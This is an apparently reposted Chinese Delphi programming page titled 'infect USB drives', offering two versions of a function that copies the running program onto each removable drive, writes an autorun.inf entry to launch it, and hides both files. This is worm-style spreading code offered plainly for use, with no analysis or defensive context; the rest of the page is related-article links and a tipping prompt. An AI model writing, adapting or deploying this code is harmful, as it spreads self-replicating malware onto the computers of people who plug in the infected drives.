delphi 感染U盘


本文整理自网络,侵删。

 Infect USB Drives 感染U盘

function InfectUsbDrives(ExeName:string):integer;
var
Drives: array[0..128] of char;
xDrive: PChar;
myFile: TextFile;
begin
Result := 0;
GetLogicalDriveStrings(SizeOf(Drives), Drives);
xDrive := Drives;
while xDrive^ <> #0 do
begin
if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then
begin
try
CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False);
AssignFile(myFile, xDrive+':\autorun.inf');
if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(xDrive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
except
end;
end;
Inc(xDrive, 4);
end;
end;
复制内容到剪贴板代码:

function InfectUsbDrives(ExeName:string):integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);
Result := Result + 1;
end;
except
end;
end;
end;
end;

相关阅读 >>

Delphi windows 编程[8] - wm_paint 消息

Delphi android 关闭应用程序对话框询问

Delphi7 中tstringlist的delimiter delimitedtext有bug,字符串分割有问题

Delphi 得到指定文件夹内文件名

Delphi idhttpserver实现webservice

Delphi之伪造referer下载文件

Delphi pchar和array [0..255] of char的区别

Delphi xe实现android 添加图片资源到应用并使用它

Delphi 详解variant 的相关函数

Delphi tms web core 实现下载

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...